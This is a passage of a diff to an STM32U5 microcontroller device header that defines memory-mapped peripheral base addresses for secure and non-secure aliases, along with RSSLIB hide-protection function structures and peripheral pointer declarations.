(APB3PERIPH_BASE_NS + 0x2000UL) +#define LPUART1_BASE_NS (APB3PERIPH_BASE_NS + 0x2400UL) +#define I2C3_BASE_NS (APB3PERIPH_BASE_NS + 0x2800UL) +#define LPTIM1_BASE_NS (APB3PERIPH_BASE_NS + 0x4400UL) +#define LPTIM3_BASE_NS (APB3PERIPH_BASE_NS + 0x4800UL) +#define LPTIM4_BASE_NS (APB3PERIPH_BASE_NS + 0x4C00UL) +#define OPAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP1_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP2_BASE_NS (APB3PERIPH_BASE_NS + 0x5010UL) +#define COMP12_BASE_NS (APB3PERIPH_BASE_NS + 0x5400UL) +#define COMP1_BASE_NS (COMP12_BASE_NS) +#define COMP2_BASE_NS (COMP12_BASE_NS + 0x04UL) +#define VREFBUF_BASE_NS (APB3PERIPH_BASE_NS + 0x7400UL) +#define RTC_BASE_NS (APB3PERIPH_BASE_NS + 0x7800UL) +#define TAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x7C00UL) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_BASE_NS (AHB1PERIPH_BASE_NS) +#define GPDMA1_Channel0_BASE_NS (GPDMA1_BASE_NS + 0x0050UL) +#define GPDMA1_Channel1_BASE_NS (GPDMA1_BASE_NS + 0x00D0UL) +#define GPDMA1_Channel2_BASE_NS (GPDMA1_BASE_NS + 0x0150UL) +#define GPDMA1_Channel3_BASE_NS (GPDMA1_BASE_NS + 0x01D0UL) +#define GPDMA1_Channel4_BASE_NS (GPDMA1_BASE_NS + 0x0250UL) +#define GPDMA1_Channel5_BASE_NS (GPDMA1_BASE_NS + 0x02D0UL) +#define GPDMA1_Channel6_BASE_NS (GPDMA1_BASE_NS + 0x0350UL) +#define GPDMA1_Channel7_BASE_NS (GPDMA1_BASE_NS + 0x03D0UL) +#define GPDMA1_Channel8_BASE_NS (GPDMA1_BASE_NS + 0x0450UL) +#define GPDMA1_Channel9_BASE_NS (GPDMA1_BASE_NS + 0x04D0UL) +#define GPDMA1_Channel10_BASE_NS (GPDMA1_BASE_NS + 0x0550UL) +#define GPDMA1_Channel11_BASE_NS (GPDMA1_BASE_NS + 0x05D0UL) +#define GPDMA1_Channel12_BASE_NS (GPDMA1_BASE_NS + 0x0650UL) +#define GPDMA1_Channel13_BASE_NS (GPDMA1_BASE_NS + 0x06D0UL) +#define GPDMA1_Channel14_BASE_NS (GPDMA1_BASE_NS + 0x0750UL) +#define GPDMA1_Channel15_BASE_NS (GPDMA1_BASE_NS + 0x07D0UL) +#define CORDIC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01000UL) +#define FMAC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01400UL) +#define FLASH_R_BASE_NS (AHB1PERIPH_BASE_NS + 0x02000UL) +#define CRC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03000UL) +#define TSC_BASE_NS (AHB1PERIPH_BASE_NS + 0x04000UL) +#define MDF1_BASE_NS (AHB1PERIPH_BASE_NS + 0x05000UL) +#define MDF1_Filter0_BASE_NS (MDF1_BASE_NS + 0x80UL) +#define MDF1_Filter1_BASE_NS (MDF1_BASE_NS + 0x100UL) +#define MDF1_Filter2_BASE_NS (MDF1_BASE_NS + 0x180UL) +#define MDF1_Filter3_BASE_NS (MDF1_BASE_NS + 0x200UL) +#define MDF1_Filter4_BASE_NS (MDF1_BASE_NS + 0x280UL) +#define MDF1_Filter5_BASE_NS (MDF1_BASE_NS + 0x300UL) +#define RAMCFG_BASE_NS (AHB1PERIPH_BASE_NS + 0x06000UL) +#define RAMCFG_SRAM1_BASE_NS (RAMCFG_BASE_NS) +#define RAMCFG_SRAM2_BASE_NS (RAMCFG_BASE_NS + 0x0040UL) +#define RAMCFG_SRAM3_BASE_NS (RAMCFG_BASE_NS + 0x0080UL) +#define RAMCFG_SRAM4_BASE_NS (RAMCFG_BASE_NS + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_NS (RAMCFG_BASE_NS + 0x0100UL) +#define RAMCFG_SRAM5_BASE_NS (RAMCFG_BASE_NS + 0x0140UL) +#define DMA2D_BASE_NS (AHB1PERIPH_BASE_NS + 0x0B000UL) +#define ICACHE_BASE_NS (AHB1PERIPH_BASE_NS + 0x10400UL) +#define DCACHE1_BASE_NS (AHB1PERIPH_BASE_NS + 0x11400UL) +#define GTZC_TZSC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12400UL) +#define GTZC_TZIC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12800UL) +#define GTZC_MPCBB1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12C00UL) +#define GTZC_MPCBB2_BASE_NS (AHB1PERIPH_BASE_NS + 0x13000UL) +#define GTZC_MPCBB3_BASE_NS (AHB1PERIPH_BASE_NS + 0x13400UL) +#define GTZC_MPCBB5_BASE_NS (AHB1PERIPH_BASE_NS + 0x13800UL) +#define BKPSRAM_BASE_NS (AHB1PERIPH_BASE_NS + 0x16400UL) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_BASE_NS (AHB2PERIPH_BASE_NS + 0x00000UL) +#define GPIOB_BASE_NS (AHB2PERIPH_BASE_NS + 0x00400UL) +#define GPIOC_BASE_NS (AHB2PERIPH_BASE_NS + 0x00800UL) +#define GPIOD_BASE_NS (AHB2PERIPH_BASE_NS + 0x00C00UL) +#define GPIOE_BASE_NS (AHB2PERIPH_BASE_NS + 0x01000UL) +#define GPIOF_BASE_NS (AHB2PERIPH_BASE_NS + 0x01400UL) +#define GPIOG_BASE_NS (AHB2PERIPH_BASE_NS + 0x01800UL) +#define GPIOH_BASE_NS (AHB2PERIPH_BASE_NS + 0x01C00UL) +#define GPIOI_BASE_NS (AHB2PERIPH_BASE_NS + 0x02000UL) +#define GPIOJ_BASE_NS (AHB2PERIPH_BASE_NS + 0x02400UL) +#define ADC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08000UL) +#define ADC2_BASE_NS (AHB2PERIPH_BASE_NS + 0x08100UL) +#define ADC12_COMMON_BASE_NS (AHB2PERIPH_BASE_NS + 0x08300UL) +#define DCMI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C000UL) +#define PSSI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C400UL) +#define USB_OTG_HS_BASE_NS (AHB2PERIPH_BASE_NS + 0x20000UL) +#define AES_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0000UL) +#define HASH_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0400UL) +#define HASH_DIGEST_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0710UL) +#define RNG_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0800UL) +#define SAES_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0C00UL) +#define PKA_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2000UL) +#define PKA_RAM_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2400UL) +#define OCTOSPIM_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xA4000UL) /*!< OCTOSPIO Manager control registers base address */ +#define OTFDEC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA5000UL) +#define OTFDEC1_REGION1_BASE_NS (OTFDEC1_BASE_NS + 0x20UL) +#define OTFDEC1_REGION2_BASE_NS (OTFDEC1_BASE_NS + 0x50UL) +#define OTFDEC1_REGION3_BASE_NS (OTFDEC1_BASE_NS + 0x80UL) +#define OTFDEC1_REGION4_BASE_NS (OTFDEC1_BASE_NS + 0xB0UL) +#define OTFDEC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA5400UL) +#define OTFDEC2_REGION1_BASE_NS (OTFDEC2_BASE_NS + 0x20UL) +#define OTFDEC2_REGION2_BASE_NS (OTFDEC2_BASE_NS + 0x50UL) +#define OTFDEC2_REGION3_BASE_NS (OTFDEC2_BASE_NS + 0x80UL) +#define OTFDEC2_REGION4_BASE_NS (OTFDEC2_BASE_NS + 0xB0UL) +#define SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8000UL) +#define SDMMC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8C00UL) +#define DLYB_SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8400UL) +#define DLYB_SDMMC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8800UL) +#define DLYB_OCTOSPI1_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF000UL) +#define DLYB_OCTOSPI2_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF400UL) +#define FMC_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB0400UL) /*!< FMC control registers base address */ +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_BASE_NS (FMC_R_BASE_NS + 0x0000UL) +#define FMC_Bank1E_R_BASE_NS (FMC_R_BASE_NS + 0x0104UL) +#define FMC_Bank3_R_BASE_NS (FMC_R_BASE_NS + 0x0080UL) +#define OCTOSPI1_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ +#define OCTOSPI2_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB2400UL) /*!< OCTOSPI2 control registers base address */ +#define HSPI1_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB3400UL) + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_BASE_NS (AHB3PERIPH_BASE_NS) +#define PWR_BASE_NS (AHB3PERIPH_BASE_NS + 0x0800UL) +#define RCC_BASE_NS (AHB3PERIPH_BASE_NS + 0x0C00UL) +#define ADC4_BASE_NS (AHB3PERIPH_BASE_NS + 0x1000UL) +#define ADC4_COMMON_BASE_NS (AHB3PERIPH_BASE_NS + 0x1300UL) +#define DAC1_BASE_NS (AHB3PERIPH_BASE_NS + 0x1800UL) +#define EXTI_BASE_NS (AHB3PERIPH_BASE_NS + 0x2000UL) +#define GTZC_TZSC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3000UL) +#define GTZC_TZIC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3400UL) +#define GTZC_MPCBB4_BASE_NS (AHB3PERIPH_BASE_NS + 0x3800UL) +#define ADF1_BASE_NS (AHB3PERIPH_BASE_NS + 0x4000UL) +#define ADF1_Filter0_BASE_NS (ADF1_BASE_NS + 0x80UL) +#define LPDMA1_BASE_NS (AHB3PERIPH_BASE_NS + 0x5000UL) +#define LPDMA1_Channel0_BASE_NS (LPDMA1_BASE_NS + 0x0050UL) +#define LPDMA1_Channel1_BASE_NS (LPDMA1_BASE_NS + 0x00D0UL) +#define LPDMA1_Channel2_BASE_NS (LPDMA1_BASE_NS + 0x0150UL) +#define LPDMA1_Channel3_BASE_NS (LPDMA1_BASE_NS + 0x01D0UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Secure */ +#define FLASH_BASE_S (0x0C000000UL) /*!< FLASH (4 MB) secure base address */ +#define SRAM1_BASE_S (0x30000000UL) /*!< SRAM1 (768 KB) secure base address */ +#define SRAM2_BASE_S (0x300C0000UL) /*!< SRAM2 (64 KB) secure base address */ +#define SRAM3_BASE_S (0x300D0000UL) /*!< SRAM3 (832 KB) secure base address */ +#define SRAM4_BASE_S (0x38000000UL) /*!< SRAM4 (16 KB) secure base address */ +#define SRAM5_BASE_S (0x301A0000UL) /*!< SRAM5 (832 KB) secure base address */ +#define PERIPH_BASE_S (0x50000000UL) /*!< Peripheral secure base address */ + +/* Peripheral memory map - Secure */ +#define APB1PERIPH_BASE_S PERIPH_BASE_S +#define APB2PERIPH_BASE_S (PERIPH_BASE_S + 0x00010000UL) +#define AHB1PERIPH_BASE_S (PERIPH_BASE_S + 0x00020000UL) +#define AHB2PERIPH_BASE_S (PERIPH_BASE_S + 0x02020000UL) +#define APB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06000000UL) +#define AHB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06020000UL) + +/*!< APB1 Secure peripherals */ +#define TIM2_BASE_S (APB1PERIPH_BASE_S + 0x0000UL) +#define TIM3_BASE_S (APB1PERIPH_BASE_S + 0x0400UL) +#define TIM4_BASE_S (APB1PERIPH_BASE_S + 0x0800UL) +#define TIM5_BASE_S (APB1PERIPH_BASE_S + 0x0C00UL) +#define TIM6_BASE_S (APB1PERIPH_BASE_S + 0x1000UL) +#define TIM7_BASE_S (APB1PERIPH_BASE_S + 0x1400UL) +#define WWDG_BASE_S (APB1PERIPH_BASE_S + 0x2C00UL) +#define IWDG_BASE_S (APB1PERIPH_BASE_S + 0x3000UL) +#define SPI2_BASE_S (APB1PERIPH_BASE_S + 0x3800UL) +#define USART2_BASE_S (APB1PERIPH_BASE_S + 0x4400UL) +#define USART3_BASE_S (APB1PERIPH_BASE_S + 0x4800UL) +#define UART4_BASE_S (APB1PERIPH_BASE_S + 0x4C00UL) +#define UART5_BASE_S (APB1PERIPH_BASE_S + 0x5000UL) +#define I2C1_BASE_S (APB1PERIPH_BASE_S + 0x5400UL) +#define I2C2_BASE_S (APB1PERIPH_BASE_S + 0x5800UL) +#define USART6_BASE_S (APB1PERIPH_BASE_S + 0x6400UL) +#define I2C4_BASE_S (APB1PERIPH_BASE_S + 0x8400UL) +#define CRS_BASE_S (APB1PERIPH_BASE_S + 0x6000UL) +#define LPTIM2_BASE_S (APB1PERIPH_BASE_S + 0x9400UL) +#define I2C5_BASE_S (APB1PERIPH_BASE_S + 0x9800UL) +#define I2C6_BASE_S (APB1PERIPH_BASE_S + 0x9C00UL) +#define FDCAN1_BASE_S (APB1PERIPH_BASE_S + 0xA400UL) +#define FDCAN_CONFIG_BASE_S (APB1PERIPH_BASE_S + 0xA500UL) +#define SRAMCAN_BASE_S (APB1PERIPH_BASE_S + 0xAC00UL) +#define UCPD1_BASE_S (APB1PERIPH_BASE_S + 0xDC00UL) + +/*!< APB2 Secure peripherals */ +#define TIM1_BASE_S (APB2PERIPH_BASE_S + 0x2C00UL) +#define SPI1_BASE_S (APB2PERIPH_BASE_S + 0x3000UL) +#define TIM8_BASE_S (APB2PERIPH_BASE_S + 0x3400UL) +#define USART1_BASE_S (APB2PERIPH_BASE_S + 0x3800UL) +#define TIM15_BASE_S (APB2PERIPH_BASE_S + 0x4000UL) +#define TIM16_BASE_S (APB2PERIPH_BASE_S + 0x4400UL) +#define TIM17_BASE_S (APB2PERIPH_BASE_S + 0x4800UL) +#define SAI1_BASE_S (APB2PERIPH_BASE_S + 0x5400UL) +#define SAI1_Block_A_BASE_S (SAI1_BASE_S + 0x004UL) +#define SAI1_Block_B_BASE_S (SAI1_BASE_S + 0x024UL) +#define SAI2_BASE_S (APB2PERIPH_BASE_S + 0x5800UL) +#define SAI2_Block_A_BASE_S (SAI2_BASE_S + 0x004UL) +#define SAI2_Block_B_BASE_S (SAI2_BASE_S + 0x024UL) + +/*!< APB3 Secure peripherals */ +#define SYSCFG_BASE_S (APB3PERIPH_BASE_S + 0x0400UL) +#define SPI3_BASE_S (APB3PERIPH_BASE_S + 0x2000UL) +#define LPUART1_BASE_S (APB3PERIPH_BASE_S + 0x2400UL) +#define I2C3_BASE_S (APB3PERIPH_BASE_S + 0x2800UL) +#define LPTIM1_BASE_S (APB3PERIPH_BASE_S + 0x4400UL) +#define LPTIM3_BASE_S (APB3PERIPH_BASE_S + 0x4800UL) +#define LPTIM4_BASE_S (APB3PERIPH_BASE_S + 0x4C00UL) +#define OPAMP_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP1_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP2_BASE_S (APB3PERIPH_BASE_S + 0x5010UL) +#define COMP12_BASE_S (APB3PERIPH_BASE_S + 0x5400UL) +#define COMP1_BASE_S (COMP12_BASE_S) +#define COMP2_BASE_S (COMP12_BASE_S + 0x04UL) +#define VREFBUF_BASE_S (APB3PERIPH_BASE_S + 0x7400UL) +#define RTC_BASE_S (APB3PERIPH_BASE_S + 0x7800UL) +#define TAMP_BASE_S (APB3PERIPH_BASE_S + 0x7C00UL) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_BASE_S (AHB1PERIPH_BASE_S) +#define GPDMA1_Channel0_BASE_S (GPDMA1_BASE_S + 0x0050UL) +#define GPDMA1_Channel1_BASE_S (GPDMA1_BASE_S + 0x00D0UL) +#define GPDMA1_Channel2_BASE_S (GPDMA1_BASE_S + 0x0150UL) +#define GPDMA1_Channel3_BASE_S (GPDMA1_BASE_S + 0x01D0UL) +#define GPDMA1_Channel4_BASE_S (GPDMA1_BASE_S + 0x0250UL) +#define GPDMA1_Channel5_BASE_S (GPDMA1_BASE_S + 0x02D0UL) +#define GPDMA1_Channel6_BASE_S (GPDMA1_BASE_S + 0x0350UL) +#define GPDMA1_Channel7_BASE_S (GPDMA1_BASE_S + 0x03D0UL) +#define GPDMA1_Channel8_BASE_S (GPDMA1_BASE_S + 0x0450UL) +#define GPDMA1_Channel9_BASE_S (GPDMA1_BASE_S + 0x04D0UL) +#define GPDMA1_Channel10_BASE_S (GPDMA1_BASE_S + 0x0550UL) +#define GPDMA1_Channel11_BASE_S (GPDMA1_BASE_S + 0x05D0UL) +#define GPDMA1_Channel12_BASE_S (GPDMA1_BASE_S + 0x0650UL) +#define GPDMA1_Channel13_BASE_S (GPDMA1_BASE_S + 0x06D0UL) +#define GPDMA1_Channel14_BASE_S (GPDMA1_BASE_S + 0x0750UL) +#define GPDMA1_Channel15_BASE_S (GPDMA1_BASE_S + 0x07D0UL) +#define CORDIC_BASE_S (AHB1PERIPH_BASE_S + 0x01000UL) +#define FMAC_BASE_S (AHB1PERIPH_BASE_S + 0x01400UL) +#define FLASH_R_BASE_S (AHB1PERIPH_BASE_S + 0x02000UL) +#define CRC_BASE_S (AHB1PERIPH_BASE_S + 0x03000UL) +#define TSC_BASE_S (AHB1PERIPH_BASE_S + 0x04000UL) +#define MDF1_BASE_S (AHB1PERIPH_BASE_S + 0x05000UL) +#define MDF1_Filter0_BASE_S (MDF1_BASE_S + 0x80UL) +#define MDF1_Filter1_BASE_S (MDF1_BASE_S + 0x100UL) +#define MDF1_Filter2_BASE_S (MDF1_BASE_S + 0x180UL) +#define MDF1_Filter3_BASE_S (MDF1_BASE_S + 0x200UL) +#define MDF1_Filter4_BASE_S (MDF1_BASE_S + 0x280UL) +#define MDF1_Filter5_BASE_S (MDF1_BASE_S + 0x300UL) +#define RAMCFG_BASE_S (AHB1PERIPH_BASE_S + 0x06000UL) +#define RAMCFG_SRAM1_BASE_S (RAMCFG_BASE_S) +#define RAMCFG_SRAM2_BASE_S (RAMCFG_BASE_S + 0x0040UL) +#define RAMCFG_SRAM3_BASE_S (RAMCFG_BASE_S + 0x0080UL) +#define RAMCFG_SRAM4_BASE_S (RAMCFG_BASE_S + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_S (RAMCFG_BASE_S + 0x0100UL) +#define RAMCFG_SRAM5_BASE_S (RAMCFG_BASE_S + 0x0140UL) +#define DMA2D_BASE_S (AHB1PERIPH_BASE_S + 0x0B000UL) +#define ICACHE_BASE_S (AHB1PERIPH_BASE_S + 0x10400UL) +#define DCACHE1_BASE_S (AHB1PERIPH_BASE_S + 0x11400UL) +#define GTZC_TZSC1_BASE_S (AHB1PERIPH_BASE_S + 0x12400UL) +#define GTZC_TZIC1_BASE_S (AHB1PERIPH_BASE_S + 0x12800UL) +#define GTZC_MPCBB1_BASE_S (AHB1PERIPH_BASE_S + 0x12C00UL) +#define GTZC_MPCBB2_BASE_S (AHB1PERIPH_BASE_S + 0x13000UL) +#define GTZC_MPCBB3_BASE_S (AHB1PERIPH_BASE_S + 0x13400UL) +#define GTZC_MPCBB5_BASE_S (AHB1PERIPH_BASE_S + 0x13800UL) +#define BKPSRAM_BASE_S (AHB1PERIPH_BASE_S + 0x16400UL) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_BASE_S (AHB2PERIPH_BASE_S + 0x00000UL) +#define GPIOB_BASE_S (AHB2PERIPH_BASE_S + 0x00400UL) +#define GPIOC_BASE_S (AHB2PERIPH_BASE_S + 0x00800UL) +#define GPIOD_BASE_S (AHB2PERIPH_BASE_S + 0x00C00UL) +#define GPIOE_BASE_S (AHB2PERIPH_BASE_S + 0x01000UL) +#define GPIOF_BASE_S (AHB2PERIPH_BASE_S + 0x01400UL) +#define GPIOG_BASE_S (AHB2PERIPH_BASE_S + 0x01800UL) +#define GPIOH_BASE_S (AHB2PERIPH_BASE_S + 0x01C00UL) +#define GPIOI_BASE_S (AHB2PERIPH_BASE_S + 0x02000UL) +#define GPIOJ_BASE_S (AHB2PERIPH_BASE_S + 0x02400UL) +#define ADC1_BASE_S (AHB2PERIPH_BASE_S + 0x08000UL) +#define ADC2_BASE_S (AHB2PERIPH_BASE_S + 0x08100UL) +#define ADC12_COMMON_BASE_S (AHB2PERIPH_BASE_S + 0x08300UL) +#define DCMI_BASE_S (AHB2PERIPH_BASE_S + 0x0C000UL) +#define PSSI_BASE_S (AHB2PERIPH_BASE_S + 0x0C400UL) +#define USB_OTG_HS_BASE_S (AHB2PERIPH_BASE_S + 0x20000UL) +#define AES_BASE_S (AHB2PERIPH_BASE_S + 0xA0000UL) +#define HASH_BASE_S (AHB2PERIPH_BASE_S + 0xA0400UL) +#define HASH_DIGEST_BASE_S (AHB2PERIPH_BASE_S + 0xA0710UL) +#define RNG_BASE_S (AHB2PERIPH_BASE_S + 0xA0800UL) +#define SAES_BASE_S (AHB2PERIPH_BASE_S + 0xA0C00UL) +#define PKA_BASE_S (AHB2PERIPH_BASE_S + 0xA2000UL) +#define PKA_RAM_BASE_S (AHB2PERIPH_BASE_S + 0xA2400UL) +#define OTFDEC1_BASE_S (AHB2PERIPH_BASE_S + 0xA5000UL) +#define OTFDEC1_REGION1_BASE_S (OTFDEC1_BASE_S + 0x20UL) +#define OTFDEC1_REGION2_BASE_S (OTFDEC1_BASE_S + 0x50UL) +#define OTFDEC1_REGION3_BASE_S (OTFDEC1_BASE_S + 0x80UL) +#define OTFDEC1_REGION4_BASE_S (OTFDEC1_BASE_S + 0xB0UL) +#define OTFDEC2_BASE_S (AHB2PERIPH_BASE_S + 0xA5400UL) +#define OTFDEC2_REGION1_BASE_S (OTFDEC2_BASE_S + 0x20UL) +#define OTFDEC2_REGION2_BASE_S (OTFDEC2_BASE_S + 0x50UL) +#define OTFDEC2_REGION3_BASE_S (OTFDEC2_BASE_S + 0x80UL) +#define OTFDEC2_REGION4_BASE_S (OTFDEC2_BASE_S + 0xB0UL) +#define OCTOSPIM_R_BASE_S (AHB2PERIPH_BASE_S + 0xA4000UL) /*!< OCTOSPIM control registers base address */ +#define SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8000UL) +#define SDMMC2_BASE_S (AHB2PERIPH_BASE_S + 0xA8C00UL) +#define DLYB_SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8400UL) +#define DLYB_SDMMC2_BASE_S (AHB2PERIPH_BASE_S + 0xA8800UL) +#define DLYB_OCTOSPI1_BASE_S (AHB2PERIPH_BASE_S + 0xAF000UL) +#define DLYB_OCTOSPI2_BASE_S (AHB2PERIPH_BASE_S + 0xAF400UL) +#define FMC_R_BASE_S (AHB2PERIPH_BASE_S + 0xB0400UL) /*!< FMC control registers base address */ +#define HSPI1_R_BASE_S (AHB2PERIPH_BASE_S + 0xB3400UL) +#define FMC_Bank1_R_BASE_S (FMC_R_BASE_S + 0x0000UL) +#define FMC_Bank1E_R_BASE_S (FMC_R_BASE_S + 0x0104UL) +#define FMC_Bank3_R_BASE_S (FMC_R_BASE_S + 0x0080UL) +#define OCTOSPI1_R_BASE_S (AHB2PERIPH_BASE_S + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ +#define OCTOSPI2_R_BASE_S (AHB2PERIPH_BASE_S + 0xB2400UL) /*!< OCTOSPI2 control registers base address */ + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_BASE_S (AHB3PERIPH_BASE_S) +#define PWR_BASE_S (AHB3PERIPH_BASE_S + 0x0800UL) +#define RCC_BASE_S (AHB3PERIPH_BASE_S + 0x0C00UL) +#define ADC4_BASE_S (AHB3PERIPH_BASE_S + 0x1000UL) +#define ADC4_COMMON_BASE_S (AHB3PERIPH_BASE_S + 0x1300UL) +#define DAC1_BASE_S (AHB3PERIPH_BASE_S + 0x1800UL) +#define EXTI_BASE_S (AHB3PERIPH_BASE_S + 0x2000UL) +#define GTZC_TZSC2_BASE_S (AHB3PERIPH_BASE_S + 0x3000UL) +#define GTZC_TZIC2_BASE_S (AHB3PERIPH_BASE_S + 0x3400UL) +#define GTZC_MPCBB4_BASE_S (AHB3PERIPH_BASE_S + 0x3800UL) +#define ADF1_BASE_S (AHB3PERIPH_BASE_S + 0x4000UL) +#define ADF1_Filter0_BASE_S (ADF1_BASE_S + 0x80UL) +#define LPDMA1_BASE_S (AHB3PERIPH_BASE_S + 0x5000UL) +#define LPDMA1_Channel0_BASE_S (LPDMA1_BASE_S + 0x0050UL) +#define LPDMA1_Channel1_BASE_S (LPDMA1_BASE_S + 0x00D0UL) +#define LPDMA1_Channel2_BASE_S (LPDMA1_BASE_S + 0x0150UL) +#define LPDMA1_Channel3_BASE_S (LPDMA1_BASE_S + 0x01D0UL) + + +/* Debug MCU registers base address */ +#define DBGMCU_BASE (0xE0044000UL) +#define PACKAGE_BASE (0x0BFA0500UL) /*!< Package data register base address */ +#define UID_BASE (0x0BFA0700UL) /*!< Unique device ID register base address */ +#define FLASHSIZE_BASE (0x0BFA07A0UL) /*!< Flash size data register base address */ + +/* Internal Flash OTP Area */ +#define FLASH_OTP_BASE (0x0BFA0000UL) /*!< FLASH OTP (one-time programmable) base address */ +#define FLASH_OTP_SIZE (0x200U) /*!< 512 bytes OTP (one-time programmable) */ + +/* USB OTG registers Base address */ +#define USB_OTG_GLOBAL_BASE (0x0000UL) +#define USB_OTG_DEVICE_BASE (0x0800UL) +#define USB_OTG_IN_ENDPOINT_BASE (0x0900UL) +#define USB_OTG_OUT_ENDPOINT_BASE (0x0B00UL) +#define USB_OTG_EP_REG_SIZE (0x0020UL) +#define USB_OTG_HOST_BASE (0x0400UL) +#define USB_OTG_HOST_PORT_BASE (0x0440UL) +#define USB_OTG_HOST_CHANNEL_BASE (0x0500UL) +#define USB_OTG_HOST_CHANNEL_SIZE (0x0020UL) +#define USB_OTG_PCGCCTL_BASE (0x0E00UL) +#define USB_OTG_FIFO_BASE (0x1000UL) +#define USB_OTG_FIFO_SIZE (0x1000UL) + +/*!< Root Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define RSSLIB_SYS_FLASH_NS_PFUNC_START (0x0BF99E40UL) +#define RSSLIB_SYS_FLASH_NS_PFUNC_END (0x0BF99EFFUL) + +/************ RSSLIB function return constants ********************************/ +#define RSSLIB_ERROR (0xF5F5F5F5UL) +#define RSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define RSSLIB_PFUNC_BASE RSSLIB_SYS_FLASH_NS_PFUNC_START +#define RSSLIB_PFUNC ((RSSLIB_pFunc_TypeDef *)RSSLIB_PFUNC_BASE) + +/*!< HDP Area constant definition */ +#define RSSLIB_HDP_AREA_Pos (0UL) +#define RSSLIB_HDP_AREA_Msk (0x3UL << RSSLIB_HDP_AREA_Pos ) +#define RSSLIB_HDP_AREA1_Pos (0UL) +#define RSSLIB_HDP_AREA1_Msk (0x1UL << RSSLIB_HDP_AREA1_Pos ) +#define RSSLIB_HDP_AREA2_Pos (1UL) +#define RSSLIB_HDP_AREA2_Msk (0x1UL << RSSLIB_HDP_AREA2_Pos ) + +/** + * @brief Prototype of RSSLIB Close and exit HDP Function + * @detail This function close the requested hdp area passed in input + * parameter and jump to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param HdpArea notifies which hdp area to close, can be a combination of + * hdpa area 1 and hdp area 2 + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t ( *RSSLIB_S_CloseExitHDP_TypeDef)( uint32_t HdpArea, uint32_t VectorTableAddr ); + + +/** + * @brief RSSLib non-secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved[8]; +}NSC_pFuncTypeDef; + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM uint32_t Reserved2[2]; + __IM RSSLIB_S_CloseExitHDP_TypeDef CloseExitHDP; /*!< RSSLIB Bootloader Close and exit HDP Address offset: 0x28 */ +}S_pFuncTypeDef; + +/** + * @brief RSSLib function pointer structure + */ +typedef struct +{ + NSC_pFuncTypeDef NSC; + S_pFuncTypeDef S; +}RSSLIB_pFunc_TypeDef; + +/** @} */ /* End of group STM32U5xx_Peripheral_peripheralAddr */ + + +/* =========================================================================================================================== */ +/* ================ Peripheral declaration ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_declaration + * @{ + */ + +/*!< APB1 Non secure peripherals */ +#define TIM2_NS ((TIM_TypeDef *) TIM2_BASE_NS) +#define TIM3_NS ((TIM_TypeDef *) TIM3_BASE_NS) +#define TIM4_NS ((TIM_TypeDef *) TIM4_BASE_NS) +#define TIM5_NS ((TIM_TypeDef *) TIM5_BASE_NS) +#define TIM6_NS ((TIM_TypeDef *) TIM6_BASE_NS) +#define TIM7_NS ((TIM_TypeDef *) TIM7_BASE_NS) +#define WWDG_NS ((WWDG_TypeDef *) WWDG_BASE_NS) +#define IWDG_NS ((IWDG_TypeDef *) IWDG_BASE_NS) +#define SPI2_NS ((SPI_TypeDef *) SPI2_BASE_NS) +#define USART2_NS 